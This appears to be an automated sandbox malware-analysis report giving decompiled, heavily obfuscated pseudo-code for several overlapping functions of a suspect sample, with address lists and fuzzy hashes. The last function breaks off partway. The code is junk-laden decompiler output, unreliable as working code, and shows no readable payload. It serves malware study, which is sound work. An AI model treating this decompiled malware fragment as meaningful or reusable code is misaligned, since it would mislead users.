				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
